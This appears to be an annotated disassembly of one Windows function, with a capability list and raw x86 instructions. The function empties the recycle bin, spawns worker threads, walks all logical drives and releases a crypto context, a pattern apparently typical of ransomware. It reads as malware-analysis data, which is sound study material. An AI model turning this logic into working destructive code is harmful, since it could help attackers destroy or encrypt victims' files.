Function at 0x40ac00
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
call fcn.0040fe20
call fcn.00412dc0
call fcn.00404ad0
mov dword [0x414260], eax
cmp dword [0x414260], 0
je 0x40b180
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x38], eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetProcessShutdownParameters]
push 0x403c1c
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00404c70
add esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40ac94
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x414130], edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.00404e10
add esp, 4
mov dword [0x41425c], 1
call fcn.004047c0
call fcn.00404a00
call fcn.00404720
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
shl eax, 2
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
shr ecx, 1
mov dword [ebp - 4], ecx
imul edx, dword [ebp - 0x54], 6
push edx
push 0x4141fc
call fcn.00412e90
add esp, 8
imul eax, dword [ebp - 4], 3
push eax
push 0x41422c
call fcn.00412e90
add esp, 8
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.00412e40
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 4]
shl edx, 2
push edx
call fcn.00412e40
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
je 0x40b163
cmp dword [ebp - 0x20], 0
je 0x40b163
mov eax, dword [ebp - 4]
shl eax, 2
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00412dd0
add esp, 0xc
mov edx, dword [ebp - 4]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412dd0
add esp, 0xc
mov dword [ebp - 0x24], 0
jmp 0x40ad6b
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 4]
jae 0x40adb1
push 0
push 0
push 1
push 0x40a820
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx + ecx*4], eax
push 0
push 0
push 0
push 0x40a820
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [edx + ecx*4], eax
jmp 0x40ad62
push 0x403c28
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404c70
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x403c38
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404c70
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x40ae9e
mov dword [ebp - 0x2c], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], 0
jmp 0x40ae11
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x60]
jge 0x40ae3f
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40ae3d
xor ecx, ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
jmp 0x40ae08
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412e40
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov eax, dword [ebp - 0x48]
push eax
call fcn.0040a9e0
add esp, 4
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00412e70
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
jne 0x40ae3f
cmp dword [ebp - 8], 0
je 0x40af9c
mov dword [ebp - 0x34], 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x30], 0
jmp 0x40aece
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x64]
jge 0x40aefc
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40aefa
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 8]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
jmp 0x40aec5
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412e40
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 2
jne 0x40af61
mov ecx, 2
shl ecx, 0
mov edx, dword [ebp - 0x14]
movzx eax, word [edx + ecx]
cmp eax, 0x3a
jne 0x40af61
mov ecx, 2
imul edx, ecx, 0
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + edx]
push ecx
call fcn.0040ab10
add esp, 4
jmp 0x40af6d
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040a620
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call fcn.00412e70
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
jne 0x40aefc
cmp dword [ebp - 8], 0
jne 0x40b08c
cmp dword [ebp - 0xc], 0
jne 0x40b08c
push 0x403c44
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
test eax, eax
jne 0x40afd7
push 0x403c64
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
jmp 0x40afe1
jmp 0x40b08c
mov dword [ebp - 0x58], 0
push 0x403c84
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404b70
add esp, 0xc
movzx ecx, al
cmp ecx, 1
jne 0x40b011
mov edx, dword [ebp - 0x58]
push edx
call fcn.0040a910
add esp, 4
call fcn.004044f0
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40b064
mov eax, 0x41
mov word [ebp - 0x10], ax
jmp 0x40b03c
mov cx, word [ebp - 0x10]
add cx, 1
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
cmp edx, 0x5a
jg 0x40b064
mov eax, dword [ebp - 0x40]
and eax, 1
je 0x40b05a
movzx ecx, word [ebp - 0x10]
push ecx
call fcn.0040ab10
add esp, 4
mov edx, dword [ebp - 0x40]
shr edx, 1
mov dword [ebp - 0x40], edx
jmp 0x40b030
push 0x403c8c
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404b70
add esp, 0xc
movzx edx, al
test edx, edx
jne 0x40b08c
mov eax, dword [ebp - 0x58]
push eax
call fcn.0040a910
add esp, 4
mov dword [ebp - 0x4c], 0
jmp 0x40b09e
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 4]
jae 0x40b0b9
push 1
push 0
push 0x41422c
call fcn.00412fb0
add esp, 0xc
jmp 0x40b095
push 0xffffffffffffffff
push 1
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov dword [ebp - 0x50], 0
jmp 0x40b0dd
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jae 0x40b0f8
push 1
push 0
push 0x4141fc
call fcn.00412fb0
add esp, 0xc
jmp 0x40b0d4
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
call fcn.00404720
mov dword [ebp - 0x3c], 0
jmp 0x40b121
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 4]
jae 0x40b14b
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40b118
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00412e70
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412e70
add esp, 4
cmp dword [0x41425c], 0
je 0x40b171
call fcn.00404e50
push 0
mov ecx, dword [0x414260]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]